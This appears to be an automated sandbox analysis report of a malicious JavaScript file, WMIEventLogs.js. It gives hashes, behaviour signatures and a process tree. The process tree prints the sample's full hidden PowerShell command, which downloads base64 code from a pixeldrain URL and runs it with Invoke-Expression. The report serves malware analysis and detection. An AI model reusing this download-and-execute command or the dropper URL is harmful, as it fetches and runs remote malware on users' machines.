Analysis
- max time kernel
102s - max time network
105s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system - submitted
01/09/2025, 09:29
Static task
static1
Behavioral task
behavioral1
Sample
WMIEventLogs.js
Resource
win10v2004-20250610-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
WMIEventLogs.js
Resource
win11-20250619-en
7 signatures
150 seconds
General
- Target WMIEventLogs.js
- Size 4.9MB
- Sample250901-lgap6stmv2
- SHA256 5cf3e2d210554addcabebbb3814a2c6a64920fd1d4b42b6a2339769ffbaf71aa
- MD5 026ccf96398fe8a943267de54aab8060
- SHA1 47ec62957f5ae7748a6e294d9946809f97c75042
- SHA512 bff43c8a238313201fea055265046056651db7a3b072081455dda972c8afec39fdbdcee7c74b515e2ab556f9f546cedc05f69fbbf842c39eefa7c0dd5b8547e3
- SSDEEP 768:qGKQ/vC+kYw+ZMWgPGKQ/vCgGKQ/vC+kYw+ZMWgy:EQnDw+qzQnvQnDw+qy
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://pixeldrain.com/api/file/J5NgFPx8
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 1756 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1756 powershell.exe - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1756 powershell.exe 1756 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1756 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3116 wrote to memory of 1756 3116 wscript.exe 78 PID 3116 wrote to memory of 1756 3116 wscript.exe 78
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\WMIEventLogs.js1⤵
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Mozilla/5.0'); $b64=$wc.DownloadString('https://pixeldrain.com/api/file/J5NgFPx8'); [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)) | Invoke-Expression"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hocm03lw.ng2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512